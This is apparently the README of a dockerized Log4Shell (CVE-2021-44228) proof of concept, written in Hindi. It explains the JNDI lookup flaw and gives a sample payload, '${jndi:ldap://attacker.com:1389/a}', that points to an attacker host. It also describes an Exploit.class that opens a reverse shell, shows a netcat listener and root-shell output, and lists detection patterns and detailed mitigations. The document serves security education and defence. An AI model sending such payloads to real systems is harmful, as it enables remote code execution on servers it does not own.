Log4Shell (CVE-2021-44228) PoC
उद्देश्य
डॉकरीकृत वातावरण में एक ज्ञात गंभीर CVE को पुनरुत्पादित, शोषण और सुधार करना।
यह PoC एक Spring Boot एप्लिकेशन में CVE-2021-44228 (Log4Shell) का प्रदर्शन करता है।
1. कमजोरी का विवरण
CVE: 2021-44228
CVSS: 10.0 (गंभीर)
प्रभावित घटक: Apache Log4j (<= 2.14.1)
पैकेज कैसे काम करता है
- Log4j एक लोकप्रिय Java लॉगिंग लाइब्रेरी है।
- यह लॉग संदेशों के अंदर मानों को गतिशील रूप से हल करने के लिए लुकअप (
${...}) का समर्थन करता है।
- ऐसा ही एक लुकअप JNDI है, जो LDAP के माध्यम से मान प्राप्त कर सकता है।
कमजोरी कैसे काम करती है
- हमलावर पीड़ित एप्लिकेशन को
${jndi:ldap://attacker.com:1389/a} जैसे दुर्भावनापूर्ण JNDI लुकअप स्ट्रिंग से दूषित करता है।
- कमजोर Log4j संस्करण वाला पीड़ित एप्लिकेशन लॉगिंग के दौरान दुर्भावनापूर्ण स्ट्रिंग का मूल्यांकन करता है।
- यह हमलावर-नियंत्रित LDAP सर्वर पर JNDI अनुरोध को ट्रिगर करता है।
- LDAP सर्वर बाहरी Java बाइटकोड के लिए एक दुर्भावनापूर्ण संदर्भ के साथ प्रतिक्रिया करता है।
- पीड़ित JVM बाइटकोड को लोड करता है और उसे निष्पादित करता है, जिससे रिमोट कोड निष्पादन (RCE) होता है।
एक्सप्लॉइट कैसे काम करता है
- पीड़ित ऐप HTTP हेडर से हमलावर द्वारा प्रदत्त इनपुट को लॉग करता है।
- हमलावर LDAP सर्वर
Exploit.class के संदर्भ के साथ प्रतिक्रिया करता है।
- पीड़ित HTTP के माध्यम से
Exploit.class प्राप्त करता है।
Exploit में स्टैटिक इनिशियलाइज़र चलता है, जो हमलावर को एक रिवर्स शेल वापस भेजता है।
2. जोखिम
3. अवधारणा का प्रमाण
पूर्वापेक्षाएँ
- docker + docker-compose
- netcat
- make
बिल्ड और प्रारंभ
एक्सप्लॉइट
- एक netcat लिस्नर प्रारंभ करें:
- एक्सप्लॉइट ट्रिगर करें:
- Netcat पीड़ित से एक रिवर्स शेल प्राप्त करता है:
/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...
4. सुधार
पसंदीदा सुधार
- Log4j 2.17.1 या बाद के संस्करण में अपग्रेड करें।
- यह एकमात्र पूर्ण और दीर्घकालिक सुधार है। पहले के संस्करणों को आंशिक रूप से पैच किया गया था लेकिन फिर भी जोखिम बचे थे:
make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell
अंतरिम शमन (यदि अपग्रेड संभव न हो)
- समय खरीदें
- WAF या मिडलवेयर के साथ इनबाउंड एक्सप्लॉइट स्ट्रिंग्स (
${jndi: पैटर्न) को प्रतिबंधित करें।
- ईग्रेस फ़िल्टरिंग के साथ एप्लिकेशन सर्वर से आउटबाउंड LDAP को प्रतिबंधित करें।
- लुकअप अक्षम करें:
-Dlog4j2.formatMsgNoLookups=true
- JVM को सख्त बनाएं:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
परिचालन शमन
- निर्भरताओं और रनटाइम का ऑडिट करें
- एक SBOM उत्पन्न करें (
gradle dependencies, Snyk, Wiz, आदि)।
- तैनात इमेज/सर्वर में
log4j-core-*.jar खोजें, जिसमें फैट JAR शामिल हैं।
- सबसे जोखिम भरे कार्यभार के लिए शमन को प्राथमिकता दें और ट्रायेज करें।
- मॉनिटर और पता लगाएं
- लॉग में एक्सप्लॉइट प्रयासों (
${jndi:...}, ${${lower:j}ndi:...}, आदि) पर ध्यान दें।
- कॉलबैक के लिए आउटबाउंड LDAP ट्रैफ़िक की निगरानी करें।
- निष्कर्षों को संभावित समझौता मानें, घटना प्रतिक्रिया के लिए उन्नत करें (फोरेंसिक जांच, दुर्भावनापूर्ण आर्टिफैक्ट को हटाना, रहस्यों का घूर्णन, आदि)।
- विक्रेता पैच
- विक्रेता सलाहकारों (जैसे, Elasticsearch) को ट्रैक करें - कई बंडल किए हुए Log4j को शिप करते हैं।
- आधिकारिक पैच उपलब्ध होने तक प्रदान किए गए हॉटफिक्स या वर्कअराउंड लागू करें।
- रणनीतिक सुधार
- आउटबाउंड ट्रैफ़िक फ़िल्टरिंग के लिए "डिफ़ॉल्ट रूप से अस्वीकार" नीति लागू करें।
- CI/CD में निर्भरता स्कैनिंग लागू करें।
- प्रतिक्रिया प्लेबुक को औपचारिक बनाएं ताकि टीमों को अगली "10.0 CVSS" कमजोरी के दौरान ठीक से पता हो कि क्या करना है।
- "नए Log4Shell-श्रेणी" की घटना के लिए तैयारी का परीक्षण करने हेतु लचीलापन ड्रिल/टेबलटॉप चलाएं।
5. संदर्भ